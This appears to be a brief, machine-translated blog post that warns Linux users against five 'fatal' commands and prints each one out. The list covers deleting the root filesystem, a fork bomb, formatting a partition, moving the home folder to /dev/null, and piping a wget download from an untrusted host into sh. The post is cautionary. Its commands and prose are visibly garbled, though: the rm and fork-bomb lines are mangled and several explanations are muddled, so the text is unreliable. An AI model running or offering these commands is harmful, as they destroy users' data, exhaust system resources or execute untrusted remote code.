5 command "fatal" on Linux you should not use

These are some commands that must be used to warn against random and that you love the experience I advise her experience to run an virtual system .

/ rm -rf

This command to delete all the possible files whether they are on the hard drive , or even on any unit connected to an external storage device as it will not appear you are prompted to confirm it .

:;{ & :|: }():

Called Fork Bomb , where he applied when it copies the same again you have to become two , these two supersede themselves again and so that consumes them all ... the machine resources and the system freezes .

mkfs.ext4 /dev/sda1

This reflected an important thing to do in the process of the Format Partition of the main hard drive

mv ~ /dev/null

This ~ represents the Home folder and /dev/null in Unix is like a black hole and thus Implementing this matter is to send all the files home folder to 'nothingness' any permanently deleted. It can also make up ~ on behalf of any other folder and will have the same fate .

wget http://some_untrusted_source -O- | sh

This command will download scripts from unreliable source and operated by the thing that is often harmful , so you should not run such a thing from unreliable sources .

Share on Google Plus

About Unknown

I am a cloud engineering student, I am interested in system and network admnistration. I am looking for an intership in order to get my engineer diploma, the internship I am looking for would preferably be of 6 up to 10 months long counting from december 2015.